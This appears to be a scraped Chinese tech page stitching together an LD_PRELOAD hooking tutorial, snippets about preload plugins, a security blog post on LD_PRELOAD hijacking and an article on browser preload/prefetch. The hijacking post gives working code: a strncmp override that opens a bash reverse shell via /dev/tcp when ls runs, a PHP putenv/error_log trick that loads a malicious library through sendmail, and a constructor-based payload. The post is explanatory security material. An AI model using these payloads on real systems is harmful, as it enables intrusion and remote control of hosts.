- 操作系统
- 未知
- 开发语言
- 开源协议
- 未知
-
2021-05-17 16:31:26
LD_PRELOAD,是个环境变量,用于动态库的加载,动态库加载的优先级最高,一般情况下,其加载顺序为LD_PRELOAD > LD_LIBRARY_PATH > /etc/ld.so.cache > /lib>/usr/lib。程序中我们经常要调用一些外部库的函数,以rand为例,如果我们有个自定义的rand函数,把它编译成动态库后,通过LD_PRELOAD加载,当程序中调用rand函数时,调用的其实是我们自定义的函数,下面以一个例子说明。
示例代码:
random.c
#include
#include
#include
int main(){
srand(time(NULL));
int i = 10;
while(i--) printf("%d\n",rand()%100);
return 0;
}
执行结果:
[root preload]#gcc -o random random.c
[root preload]#./random
69
36
52
0
15
24
72
34
71
84
示例代码:
unrandom.c
int rand(){
return 42; //the most random number in the universe
}
使用如下命令将其编成动态库:
gcc -shared -fPIC unrandom.c -o unrandom.so
然后使用如下方式运行:
LD_PRELOAD=$PWD/unrandom.so ./random_nums
或者
[root preload]#export LD_PRELOAD=$PWD/unrandom.so
[root preload]#./random
运行结果均为:
42
42
42
42
42
42
42
42
42
42
上面的例子说明,我们已经成功将rand函数替换为我们自己所编写的版本。
使用ldd可以查看在两种运行方式下所加载的动态库,当直接运行时由于没有加载unrandom.so,因此会使用原本的rand函数,如果我们指定了LD_PRELOAD=unrandom.so,使用ldd查看所加载的so中有我们自己实现的unrandom.so。由于LD_PRELOAD加载顺序最高,因此会优先使用unrandom.so中的rand函数。
使用nm -D可以列出动态库unrandom.so中的符号。
[root preload]#ldd random
linux-vdso.so.1 => (0x00007fffbd7ec000)
libc.so.6 => /lib64/libc.so.6 (0x00007fa2ea23d000)
/lib64/ld-linux-x86-64.so.2 (0x00007fa2ea60a000)
[root preload]#
[root preload]#LD_PRELOAD=$PWD/unrandom.so ldd random
linux-vdso.so.1 => (0x00007ffef61db000)
/root/workspace/preload/unrandom.so (0x00007fde723b1000)
libc.so.6 => /lib64/libc.so.6 (0x00007fde71fe4000)
/lib64/ld-linux-x86-64.so.2 (0x00007fde725b3000)
[root preload]#
[root preload]#
[root preload]#nm -D unrandom.so
0000000000201018 B __bss_start
w __cxa_finalize
0000000000201018 D _edata
0000000000201020 B _end
0000000000000620 T _fini
w __gmon_start__
00000000000004f0 T _init
w _ITM_deregisterTMCloneTable
w _ITM_registerTMCloneTable
w _Jv_RegisterClasses
0000000000000615 T rand
下面的例子我们想封装一个open函数,在函数内部调用libc中的open函数来实现。
int open(const char *pathname, int flags){
/* Some evil injected code goes here. */
return open(pathname,flags); // Here we call the "real" open function, that is provided to us by libc.so
}
如果我们这么写的话这将导致递归调用。
如何在我们自己实现的库中调用真正的open函数呢?
inspect_open.c
#define _GNU_SOURCE
#include
#include
typedef int (*orig_open_f_type)(const char *pathname, int flags);
int open(const char *pathname, int flags, ...)
{
/* Some evil injected code goes here. */
printf("The victim used open(...) to access '%s'!!!\n",pathname);
//remember to include stdio.h!
orig_open_f_type orig_open;
orig_open = (orig_open_f_type)dlsym(RTLD_NEXT,"open");
return orig_open(pathname,flags);
}
使用如下方式生成 inspect_open.so
gcc -shared -fPIC -o inspect_open.so inspect_open.c -ldl
RTLD_NEXT的man手册解释如下:
There are two special pseudo-handles, RTLD_DEFAULT and RTLD_NEXT. The former will find the first occurrence of the desired symbol using the default library search order. The latter will find the next occurrence of a function in the search order after the current library. This allows one to provide a wrapper around a function in another shared library.
man手册的解释非常清晰,RTLD_DEFAULT是在当前库中查找函数,而RTLD_NEXT则是在当前库之后查找第一次出现的函数。
open_example.c
#include
#include
#include
#include
#include
#include
#include
int main(int argc, char *argv[])
{
int fd;
if(2 != argc)
{
printf("Usage : \n");
return 1;
}
errno = 0;
fd = open(argv[1],O_RDONLY|O_CREAT,S_IRWXU);
if(-1 == fd)
{
printf("open() failed with error [%s]\n",strerror(errno));
return 1;
}
else
{
printf("open() Successful.\n");
}
return 0;
}
使用如下方式编译
gcc -g -o open_example open_example.c
运行结果:
[root preload]#./open_example random.c
open() Successful.
[root preload]#LD_PRELOAD=$PWD/inspect_open.so ./open_example random.c
The victim used open(...) to access 'random.c'!!!
open() Successful.
hook kill函数
我们想查看系统中所有调用kill函数的地方,添加相应的打印信息,定位哪些进程对哪些使用了kill命令。
函数my_hook_kill.c
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
typedef int(*KILL)(pid_t pid, int sig);
#define TMP_BUF_SIZE 256
/* 获取进程命令行参数 */
void get_cmd_by_pid(pid_t pid, char *cmd)
{
char buf[TMP_BUF_SIZE];
int i = 0;
snprintf(buf, TMP_BUF_SIZE, "/proc/%d/cmdline", pid);
FILE* fp = fopen(buf, "r");
if(fp == NULL)
{
return;
}
memset(buf, 0, TMP_BUF_SIZE);
size_t ret = fread(cmd, 1, TMP_BUF_SIZE - 1, fp);
/*
*需要下面for循环的原因是
*man手册资料
*This holds the complete command line for the process, unless the process is a zombie.
*In the latter case,there is nothing in this file: that is, a read on this file will return 0
*characters. The command-line arguments appear in this file as a set of strings separated by
*null bytes ('\0'), with a further null byte after the last string.
*/
for (i = 0; ret != 0 && i < ret - 1; i++)
{
if (cmd[i] == '\0')
{
cmd[i] = ' ';
}
}
fclose(fp);
cmd[TMP_BUF_SIZE - 1] = '\0';
}
int kill(pid_t pid, int sig)
{
static KILL orign_kill = NULL;
//接收kill命令的进程信息
char buf_des[TMP_BUF_SIZE] = {0};
get_cmd_by_pid(pid, buf_des);
//获取当前进程信息
char buf_org[TMP_BUF_SIZE] = {0};
get_cmd_by_pid(getpid(), buf_org);
//获取父进程信息
char buf_porg[TMP_BUF_SIZE] = {0};
get_cmd_by_pid(getppid(), buf_porg);
printf("hook kill(sig:%d): [%s(%d) -> %s(%d)] -> [%s(%d)]\n",
sig, buf_porg, getppid(), buf_org, getpid(), buf_des, pid);
out:
if(!orign_kill){
orign_kill = (KILL)dlsym(RTLD_NEXT, "kill");
}
return orign_kill(pid, sig);
}
使用如下命令编译成动态库:
gcc -shared -fPIC -o my_hook_kill.so my_hook_kill.c -ldl
singal_example.c
#include
#include
#include
void sig_handler(int signo)
{
if (signo == SIGINT)
printf("received SIGINT\n");
}
int main(void)
{
if (signal(SIGINT, sig_handler) == SIG_ERR)
printf("\ncan't catch SIGINT\n");
// A long long wait so that we can easily issue a signal to this process
while(1)
sleep(1);
return 0;
}
使用如下方式编译和运行,并记住进程ID(此例中为2389)
gcc -g -o singal_example singal_example.c
[root hook_kill]#./singal_example &
[1] 2389
然后我们使用TLPI书中的一个例子,如果需要运行需要下载完整源代码:
t_kill.c
/*************************************************************************\
* Copyright (C) Michael Kerrisk, 2018. *
* *
* This program is free software. You may use, modify, and redistribute it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation, either version 3 or (at your option) any *
* later version. This program is distributed without any warranty. See *
* the file COPYING.gpl-v3 for details. *
\*************************************************************************/
/* Listing 20-3 */
/* t_kill.c
Send a signal using kill(2) and analyze the return status of the call.
*/
#include
#include "tlpi_hdr.h"
int
main(int argc, char *argv[])
{
int s, sig;
if (argc != 3 || strcmp(argv[1], "--help") == 0)
usageErr("%s pid sig-num\n", argv[0]);
sig = getInt(argv[2], 0, "sig-num");
s = kill(getLong(argv[1], 0, "pid"), sig);
if (sig != 0) {
if (s == -1)
errExit("kill");
} else { /* Null signal: process existence check */
if (s == 0) {
printf("Process exists and we can send it a signal\n");
} else {
if (errno == EPERM)
printf("Process exists, but we don't have "
"permission to send it a signal\n");
else if (errno == ESRCH)
printf("Process does not exist\n");
else
errExit("kill");
}
}
exit(EXIT_SUCCESS);
}
执行结果:
如果不使用我们编写的kill函数,运行结果如下:
[root signals]# ./t_kill 2389 2
received SIGINT
使用我们编写的kill函数,运行结果如下:
[root signals]#LD_PRELOAD=/root/workspace/hook/hook_kill/my_hook_kill.so ./t_kill 2389 2
hook kill(sig:2): [-bash(2229) -> ./t_kill 2389 2(2401)] -> [./singal_example(2389)]
received SIGINT
更多相关内容 -
vue-preload-用于添加的插件Vue-Vue.js开发
2021-05-27 23:06:26演示使用vue-ssr-boilerplate安装npm install vue-link-preload --save用法import从'vue-link-preload'预加载Vue.use(Preload)//动态添加单个项目//默认情况下为'script'类型被分配了Vue.addPreloadLink('... -
使用preload预加载页面资源时注意事项
2020-11-21 10:51:06preload 提供了一种声明式的命令,让浏览器提前加载指定资源(加载后并不执行),在需要执行的时候再执行。提供的好处主要是 将加载和执行分离开,可不阻塞渲染和 document 的 onload 事件 提前加载指定资源,不再出现... -
react-preload-images:在ReactJS中图像的顺序预加载
2021-05-01 16:32:36npm install react-preload-images --save 唯一必要的属性是images :Array(要预加载的图像的网址) var React = require ( 'react' ) ; var ReactPreloadImages = require ( 'react-preload-images' ) ; React ... -
electron-dynamic-preload:将参数传递给Electron预加载脚本
2021-04-28 08:02:32电子动态预紧 有时可以将参数传递给Electron预加载脚本很方便 该模块使用Electron 2.xx中引入的 API,它不适用于较早的发行版! addPreloadWithParams(modulePath, exportName[, params, session]) ... -
react-img-preload:用于图像预加载的高阶React组件
2021-05-06 18:03:40react-img-preload 用于图像预加载的高阶React组件 高阶React组件,可轻松处理组件中使用的图像的不同加载状态。 如果要在加载图像时在屏幕上显示某些内容,或者如果无法加载所需的图像,则可以提供一些默认图像,... -
使用LD_PRELOAD注入程序.pdf
2020-04-26 10:02:03linux 如何hook 任何一个目标文件中 使用的 第一层函数。在没有目标源码的情形下。对目标进行hook、 亲测,可以用 -
preload.js:另一个简短的脚本可以预加载您能想到的几乎所有内容
2021-06-08 10:32:26预加载.js 另一个简短的脚本可以预加载您能想到的几乎所有内容。 使用非常简单: < script > preloader .... 'path/to/file.png' , 'path/to/audio.mp3' , ...preloader .... //i havent worked much with video, ... -
preload-webpack-plugin:请改用https:github.comvuejspreload-webpack-plugin
2021-02-18 03:32:12preload-webpack-plugin 弃用:该项目的分支可以代替使用。 一个Webpack插件,用于使用<link rel='preload'>自动连接异步(和其他类型)JavaScript块。 这有助于延迟加载。 注意:这是的扩展插件,该插件可... -
Preload基础使用方法详解
2020-10-15 17:12:29preload 顾名思义就是一种预加载的方式,它通过声明向浏览器声明一个需要提交加载的资源,当资源真正被使用的时候立即执行,就无需等待网络的消耗 -
jquery.preload:一个用于预加载资源的小型 jQuery 插件
2021-06-27 10:04:06jQuery.preload 一个用于预加载资源(图像、声音等)的小型 jQuery 插件。 描述 此插件的目的是提供占用空间很小的预加载功能。 缩小后,插件只有 391 字节(gzip 压缩时为290 字节)。 浏览器支持 这个插件适用于... -
link rel=preload.zip
2020-12-24 20:59:10Preload 作为一个新的web标准,可以提前加载资源,并在资源加载完毕后执行你指定的回调函数.这样用户体验会好得多 Chrome还支持过link rel -
preLoad:一款基于Zepto的预加载插件,提供进度回调
2021-06-18 04:53:36preLoad 一款基于Zepto的预加载插件,提供进度回调 介绍 ##独立页图片预加载 某些独立页、活动页由于图片众多,为了良好的交互,一般会设置一个加载页来加载图片资源,待图片加载完成后渲染到对应的DOM中。 参数说明... -
ngx-hover-preload::computer_mouse:将鼠标悬停在Angular延迟加载的路由上
2021-01-29 18:02:23ngx-hover-preload 该软件包导出PreloadingStrategy ,它将通过鼠标在相应的路由器链接上预加载惰性加载的路由。 备择方案 其他预加载策略: 与在视口中可见的所有链接关联的模块。 与ngx-hover-preload相比,... -
seajs-preload:用于循环预加载的 Sea.js 插件
2021-07-11 04:27:25$ spm install seajs/seajs-preload 用法 < script src =" path/to/sea.js " > </ script > < script src =" path/to/seajs-preload.js " > </ script > < script > seajs . config... -
ld_preload-sounds:通过挂钩 malloc() 和 read() 生成原始 WAV 输出
2021-07-03 14:01:10ld_preload 声音 通过挂钩 malloc() 和 read() 生成 WAV 输出。 添加对其他调用的支持应该很容易,非常欢迎拉取请求! 此外,它应该不言而喻......但我无论如何都会说......这是实验性的。 钩住内存和读取调用可能... -
factory_bot-preload:像固定装置一样预加载工厂(factory_bot)。 这将很容易,而且可能更快!
2021-05-05 10:37:33factory_bot-preload 我们都喜欢Rails固定装置,因为它们速度很快,但是我们讨厌处理YAML / CSV / SQL文件。 在此处输入 (FB)。 现在,您可以使用预定义的工厂轻松创建记录。 问题是每次访问数据库以创建记录的... -
Sample-Durandal-preload-template:具有预加载模板能力的 Durandal js 示例
2021-06-24 22:24:58Sample-Durandal-preload-template 具有预加载模板能力的 Durandal js 示例。 我已经使用 Durandal JS 一段时间了,我认为它是一个很棒的框架。 然而,它缺少预加载模板以进行快速视图渲染的选项。 可能是因为 ... -
openredir:通过 LD_PRELOAD 重定向文件打开操作
2021-05-31 10:48:59打开目录 通过 LD_PRELOAD 重定向文件打开操作 -
Linux操作系统文件监控-PRELOAD
2021-06-13 16:37:44在Linux操作系统中,利用PRELOAD技术,监控应用层,使用了哪些文件,并利用现有工具验证分析 -
preload_sql:SQL 初始数据输入。虽然说,只有资产部分
2021-06-28 09:07:07preload_sql SQL 初始数据输入。话虽如此,但只有资产部分。 -
laravel-preload:PHP 7.4中的Laravel预加载测试
2021-05-19 19:44:21这个Laravel项目演示了如何使用预加载来预加载整个Laravel框架。 不幸的是,这导致了段...cd laravel-preload composer install 将PHP的ini文件中的opcache.preload配置为 ,然后重新启动php-fpm或您使用的任何服务器。 -
seajs-preload.js
2020-10-24 14:15:31用于seajs的预加载使用,有需要的小伙伴可以免费下载使用。方便大家多多分享免费的资源,有问题随时给我们留言。希望能帮助大家解决更多的问题 -
preload_cache.js:预加载缓存
2021-05-16 05:07:10preload_cache.js 预加载缓存 -
laravel-preload-php74-opcache:Laravel预加载测试
2021-02-12 15:15:01Laravel预载测试 -
mpvue 页面预加载新增preLoad生命周期的两种方式
2020-10-16 04:28:01主要介绍了mpvue 页面预加载新增preLoad生命周期的两种方式,本文重点给大家讲解了第一种方式,需要的朋友可以参考下 -
浅谈LD_PRELOAD劫持
2022-04-22 10:02:42LD_PRELOAD劫持前言
上一篇的das最后一个文件上传题可以利用到LD_PRELOAD,我们下面来慢慢来说一下LD_PRELOAD是什么,为什么一个小小的变量能做的事这么大,这么危险,我们如何利用它的各种姿势来渗透。
初识LD_PRELOAD
简单来说LD_PRELOAD是Linux下的一个环境变量,被用于动态链接库的加载,在动态链接库加载过程中它的优先级是最高的。这里提到了动态链接库,我们就不能回避一个问题,什么是链接?是什么样的链接?
所谓链接,也就是说编译器找到程序中所引用的函数或全局变量所存在的位置,而链接又分为如下几种:
- 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
- 装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
- 运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。
动态链接与静态链接各有优缺,从上面的介绍我们得知,静态链接其实就是把所有的函数打包在一起编译为一个可执行文件,编译后函数无法更改,就是直接使用。动态链接的函数并没有编译到可执行文件中,而是用一个动态链接库用于在程序执行时动态的加载库中的函数,若动态库中的函数发生变化对于可执行程序来说时透明的,这样的好处是对于程序的更新、维护等等非常的容易,反观静态链接如果需要更新啥的就必须得重新写文件重新编译再发布。
言归正传,我们回到LD_PRELOAD这玩意儿的作用上来,LD_PRELOAD允许你定义在程序运行前优先加载的动态链接库,那么我们便可以在自己定义的动态链接库中装入恶意函数。
所以既然LD_PRELOAD会影响到动态链接库的加载,而由于Linux下有很多的指令,那么假设现在出现了一种这样的情况,一个文件中有一个恶意构造的函数和我们程序指令执行时调用的函数一模一样,而LD_PRELOAD路径指向这个文件后,这个文件的优先级高于原本函数的文件,那么优先调用我们的恶意文件后会覆盖原本的那个函数,最后当我们执行了一个指令后它会自动调用一次恶意的函数,这就会导致一些非预期的漏洞出现(如反弹shell),非常的恐怖!!
LD_PRELOAD的利用
小小的演示
首先了解一些基本知识
1 .so后缀就是动态链接库的文件名 。
2 export LD_PRELOAD=*** 是修改LD_PRELOAD的指向 。
3 我们自定义替换的函数必须和原函数相同,包括类型和参数 。
4 还原LD_PRELOAD的最初指向命令为:unset LD_PRELOAD 。
我们调用一个C中自带的简单函数,就拿rand()函数来说,他会随机生成一个数,输出的值是随机的,
#include<stdio.h> #include<stdlib.h> #include<time.h> int main() { srand(time(NULL)); //随机生成种子,保证每次出现的随机数不相同 int i = 10; while(i--) printf("%d\n",rand()); return 0; }
但凡学过一点C语言的小伙伴们都看得懂这个代码,我们目前拿这个代码做测试,测试一下我们能否使用LD_PRELOAD环境变量去劫持rand()函数,使得rand()函数按照我们自己的意愿去做。
可以看到,我们编译后可执行文件执行的两次随机函数生成的数据不同,重点来了。
我们需要用如下gcc命令编译生成我们的动态库链接,
gcc -shared -fPIC 自定义文件.c -o 生成的库文件.so
成功了!!我们把本应该随机生成的数据固定的输出为310,而原本的rand()随机生成数的函数被覆盖后就没有什么卵用了。
我们再用ldd查看可执行文件加载的动态库优先顺序,
看到了这里我想你多少也会对这个有一定的理解了,接下来讲个更有意思的。
LD_PRELOAD对ls的劫持
前面了解到LD_PRELOAD劫持并非纸上谈兵,它的的确确能够劫持函数使得我们自定义函数的功能覆盖原函数。
而前面还提到过Linux终端存在着许多的命令,如ls、cat、vim、ifconfig等等,而这些指令并非是我们看到的输入直接得到数据,它其实背后运行了许多的函数,若我们利用LD_PRELOAD劫持了这些函数中的其中一个,自定义一个恶意代码覆盖某个函数,当我们执行一次指令恶意代码就执行一次,非常的恐怖!!我们来看看吧!
用如下命令查看ls会调用的函数
readelf -Ws /usr/bin/ls
这都是一些执行ls时会调用到的函数。这里我们利用一下strncmp()这个函数,里面的参数怎么看呢?利用报错,如下,
报错信息已经告诉我们参数的类型和数量了,所以正确的构造如下:
#include <stdlib.h> #include <stdio.h> #include <string.h> void payload() { printf("hello i am haker!!!\n"); } int strncmp(const char *__s1, const char *__s2, size_t __n) { if (getenv("LD_PRELOAD") == NULL) { //这个函数在这里的作用是阻止该payload一直执行 return 0; } unsetenv("LD_PRELOAD"); payload(); }
成功了!!那么如果我们在这里把payload修改为bash命令弹shell呢?
#include <stdlib.h> #include <stdio.h> #include <string.h> void payload() { system("bash -c 'bash -i >& /dev/tcp/your_IP/2333 0>&1'"); } int strncmp(const char *__s1, const char *__s2, size_t __n) { if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload(); }
可以看到我们在kali机中执行一次ls就把shell弹到我们自己的服务器上去了。前提是只要它不把ls那个终端进程kill我们就可以对其shell进行操作,若终端被kill了服务器的shell也就没了。
巧用mail()&LD_PRELOAD劫持
在上篇das最后一个题提到过到mail函数,mail函数是一个发送邮件的函数,当使用到这玩意儿发送邮件时会使用到系统程序/usr/sbin/sendmail,我们如果能劫持到sendmail触发的函数,那么就可以达到我们之前讲的那个目的了。
查看一下sendmail会触发的函数,
在使用mail配合LD_PRELOAD劫持时,这些函数可以起到很大的作用。我们这里用getuid()函数实验。还是一样写一个自定义的动态库链接,由于mail是php函数,所以我们用php文件执行。
除了mail会触发/usr/sbin/sendmail以外,还有一个函数------error_log也会触发,而且与mail的使用方法是一模一样的,这里不演示了丢一个代码感兴趣可以自己去测试,
<?php putenv("LD_PRELOAD=/tmp/mk_tmp/payload.so"); error_log("", 1, "", ""); ?>
LD_PRELOAD劫持的最终试炼
上面的演示中可以看到我的kali中有/usr/sbin/sendmail,但是实际上本来是没有这个环境的,是因为我后期要演示所以安装了。
那么回到我们的LD_PRELOAD来,如果是在实际环境中我们很难有利用的点,要么就是函数被禁了,要么就是没有安装我们需要利用的环境。
这里我在师傅Mockingjay的文章中看到了一个非常厉害的方法,就是说,我们能不能找到一个函数,它能够使任何加载动态链接库都执行一次该函数,如果能这样我们就不需要仅依赖于sendmail来劫持函数了,这是一个很大胆的想法但同时不得不说这也是一个很厉害的想法。
从这位师傅的文章中我得知GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,一旦某些指令需要加载动态链接库时,就会立即执行它。我们一起来看看这是什么神仙方法吧!
//last.c #include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__ ((__constructor__)) void preload (void){ unsetenv("LD_PRELOAD"); printf("i am hacker!!\n"); }
还是一样,把这个这个动态库文件用gcc编译为一个.so的后缀名。
可以看到,我们无论执行什么,他都会先加载这个修饰符,如果是bash那些命令或者其它的恶意代码是非常非常危险和恐怖的!!
参考:有趣的 LD_PRELOAD - 安全客,安全资讯平台
利用LD_PRELOAD实现函数劫持以及用法总结 – Zgao's blog
简单讲解如何绕过PHP disable_function_h0ld1rs的博客-CSDN博客_php绕过disable_function
-
preload.js图片预加载插件
2019-06-17 11:14:02图片预加载插件。包含有序加载和无序加载两种。具体使用方法,参考https://blog.csdn.net/yang1393214887/article/details/92582715 -
使用 Preload/Prefetch 优化你的应用
2020-12-24 04:15:09其中有项重要的指标就是网站的首屏时间,为此前端工程师们都是绞尽脑汁想尽办法进行优化自己的应用,诸如像服务端渲染,懒加载,CDN 加速,ServiceWorker 等等方法,今天介绍的 preload/prefetch 是一种简单,但却...衡量网站的性能的指标有很多,其中有项重要的指标就是网站的首屏时间,为此前端工程师们都是绞尽脑汁想尽办法进行优化自己的应用,诸如像服务端渲染,懒加载,CDN 加速,ServiceWorker 等等方法,今天介绍的 preload/prefetch 是一种简单,但却事半功倍的优化手段。
基本用法
在网络请求中,我们在使用到某些资源比如:图片,JS,CSS 等等,在执行之前总需要等待资源的下载,如果我们能做到预先加载资源,那在资源执行的时候就不必等待网络的开销,这时候就轮到 preload 大显身手的时候了。
preload 提前加载
preload 顾名思义就是一种预加载的方式,它通过声明向浏览器声明一个需要提交加载的资源,当资源真正被使用的时候立即执行,就无需等待网络的消耗。
它可以通过 Link 标签进行创建:
const link = document.createElement('link');
link.rel = 'preload';
link.as = 'style';
link.href = '/path/to/style.css';
document.head.appendChild(link);
当浏览器解析到这行代码就会去加载 href 中对应的资源但不执行,待到真正使用到的时候再执行,另一种方式方式就是在 HTTP 响应头中加上 preload 字段:
Link: ; rel=preload; as=style
这种方式比通过 Link 方式加载资源方式更快,请求在返回还没到解析页面的时候就已经开始预加载资源了。
讲完 preload 的用法再来看下它的浏览器兼容性,根据 http://caniuse.com 上的介绍:IE 和 Firefox 都是不支持的,兼容性覆盖面达到 73%。
prefetch 预判加载
prefetch 跟 preload 不同,它的作用是告诉浏览器未来可能会使用到的某个资源,浏览器就会在闲时去加载对应的资源,若能预测到用户的行为,比如懒加载,点击到其它页面等则相当于提前预加载了需要的资源。它的用法跟 preload 是一样的:
Link: ; rel=prefetch; as=style
讲完用法再讲浏览器兼容性,prefetch 比 preload 的兼容性更好,覆盖面可以达到将近 80%。
更多细节点
当一个资源被 preload 或者 prefetch 获取后,它将被放在内存缓存中等待被使用,如果资源位存在有效的缓存极致(如 cache-control 或 max-age),它将被存储在 HTTP 缓存中可以被不同页面所使用。
正确使用 preload/prefetch 不会造成二次下载,也就说:当页面上使用到这个资源时候 preload 资源还没下载完,这时候不会造成二次下载,会等待第一次下载并执行脚本。
对于 preload 来说,一旦页面关闭了,它就会立即停止 preload 获取资源,而对于 prefetch 资源,即使页面关闭,prefetch 发起的请求仍会进行不会中断。
什么情况会导致二次获取?不要将 preload 和 prefetch 进行混用,它们分别适用于不同的场景,对于同一个资源同时使用 preload 和 prefetch 会造成二次的下载。
preload 字体不带 crossorigin 也将会二次获取! 确保你对 preload 的字体添加 crossorigin 属性,否则他会被下载两次,这个请求使用匿名的跨域模式。这个建议也适用于字体文件在相同域名下,也适用于其他域名的获取(比如说默认的异步获取)。
preload 是告诉浏览器页面必定需要的资源,浏览器一定会加载这些资源,而 prefetch 是告诉浏览器页面可能需要的资源,浏览器不一定会加载这些资源。所以建议:对于当前页面很有必要的资源使用 preload,对于可能在将来的页面中使用的资源使用 prefetch。
这将会浪费用户的带宽吗?
用 “preload” 和 “prefetch” 情况下,如果资源不能被缓存,那么都有可能浪费一部分带宽,在移动端请慎用。
没有用到的 preload 资源在 Chrome 的 console 里会在 onload 事件 3s 后发生警告。
原因是你可能为了改善性能使用 preload 来缓存一定的资源,但是如果没有用到,你就做了无用功。在手机上,这相当于浪费了用户的流量,所以明确你要 preload 对象。
如何检测 preload 支持情况?
用下面的代码段可以检测 是否被支持:
const preloadSupported = () => {
const link = document.createElement('link');
const relList = link.relList;
if (!relList || !relList.supports)
return false;
return relList.supports('preload');
};
不同资源浏览器优先级
在 Chrome 46 以后的版本中,不同的资源在浏览器渲染的不同阶段进行加载的优先级如下图所示:
一个资源的加载的优先级被分为五个级别,分别是:Highest 最高
High 高
Medium 中等
Low 低
Lowest 最低
从图中可以看出:(以 Blink 为例)HTML/CSS 资源,其优先级是最高的
font 字体资源,优先级分别为 Highest/High
图片资源,如果出现在视口中,则优先级为 High,否则为 Low
而 script 脚本资源就比较特殊,优先级不一,脚本根据它们在文件中的位置是否异步、延迟或阻塞获得不同的优先级:网络在第一个图片资源之前阻塞的脚本在网络优先级中是 High
网络在第一个图片资源之后阻塞的脚本在网络优先级中是 Medium
异步/延迟/插入的脚本(无论在什么位置)在网络优先级中是 Low
自己网站资源优先级也可以通过 Chrome 控制台 Network 一栏进行查看.对于使用 prefetch 获取资源,其优先级默认为最低,Lowest,可以认为当浏览器空闲的时候才会去获取的资源。
而对于 preload 获取资源,可以通过 "as" 或者 "type" 属性来标识他们请求资源的优先级(比如说 preload 使用 as="style" 属性将获得最高的优先级,即使资源不是样式文件)
没有 “as” 属性的将被看作异步请求。
与其它加载方式对比
async/defer:
使用 async/defer 属性在加载脚本的时候不阻塞 HTML 的解析,defer 加载脚本执行会在所有元素解析完成,DOMContentLoaded 事件触发之前完成执行。它的用途其实跟 preload 十分相似。你可以使用 defer 加载脚本在 head 末尾,这比将脚本放在 body 底部效果来的更好。它相比于 preload 加载的优势在于浏览器兼容性好,从 caniuse 上看基本上所有浏览器都支持,覆盖率达到 93%,
不足之处在于:defer 只作用于脚本文件,对于样式、图片等资源就无能为力了,并且 defer 加载的资源是要执行的,而 preload 只下载资源并不执行,待真正使用到才会执行文件。
对于页面上主/首屏脚本,可以直接使用 defer 加载,而对于非首屏脚本/其它资源,可以采用 preload/prefeth 来进行加载。
HTTP/2 Server Push:
HTTP/2 PUSH 功能可以让服务器在没有相应的请求情况下预先将资源推送到客户端。这个跟 preload/prefetch 预加载资源的思路类似,将下载和资源实际执行分离的方法,当脚本真正想要请求文件的时候,发现脚本就存在缓存中,就不需要去请求网络了。
我们假设浏览器正在加载一个页面,页面中有个 CSS 文件,CSS 文件又引用一个字体库,对于这样的场景,
若使用 HTTP/2 PUSH,当服务端获取到 HTML 文件后,知道以后客户端会需要字体文件,它就立即主动地推送这个文件给客户端,如下图:
而对于 preload,服务端就不会主动地推送字体文件,在浏览器获取到页面之后发现 preload 字体才会去获取,如下图:
对于 Server Push 来说,如果服务端渲染 HTML 时间过长的话则很有效,因为这时候浏览器除了干等着,做不了其它操作,但是不好的地方是服务器需要支持 HTTP/2 协议并且服务端压力也会相应增大。对于更多 Server Push 和 preload 的对比可以参考这篇文章:HTTP/2 PUSH(推送)与HTTP Preload(预加载)大比拼
浏览器预解析:
现代浏览器很聪明,就如 Chrome 浏览器,它会在解析 HTML 时收集外链,并在后台并行下载,它也实现了提前加载以及加载和执行分离。
它相比于 preload 方式而言:仅限于 HTML 解析,对于 JS 异步加载资源的逻辑就无无能为力了
浏览器不暴露 preload 中的 onload 事件,也就无法更加细粒度地控制资源的加载
使用案例提前加载字体文件。由于字体文件必须等到 CSSOM 构建完成并且作用到页面元素了才会开始加载,会导致页面字体样式闪动。所以要用 preload 显式告诉浏览器提前加载。假如字体文件在 CSS 生效之前下载完成,则可以完全消灭页面闪动效果。
使用 preload 预加载第二屏的内容,在网页开发中,对于非首屏部分采用懒加载是我们页面常用的优化手段,所以我们在页面 onload 之后可以通过 preload 来加载次屏所需要的资源,在用户浏览完首屏内容滚动时能够更快地看到次屏的内容。
在页面加载完成之后,可以分析页面上所有的链接,判断用户可能会点击的页面,分析提取下一跳页面上所有的资源使用 prefetch 进行加载(这里不使用 preload,因为不一定会点击),浏览器会在空闲地时候进行加载,当用户点击链接命中了缓存,这可以有效地提升下一页面的首屏渲染时间。
对于商品列表页面,在用户鼠标停留在某个商品的时候,可以去分析商品详情页所需要的资源并提前开启 preload 加载,跟第 3 点类似,都是用来预测用户的行为并且做出一些预加载的手段,区别在于当用户停留在商品上时,点击命中率更高,preload 可以立即加载资源,有效提升缓存命中率。
总结
preload/prefetch 是个好东西,能让浏览器提前加载需要的资源,将资源的下载和执行分离开来,运用得当的话可以对首屏渲染带来不小的提升,可以对页面交互上带来极致的体验。
参考链接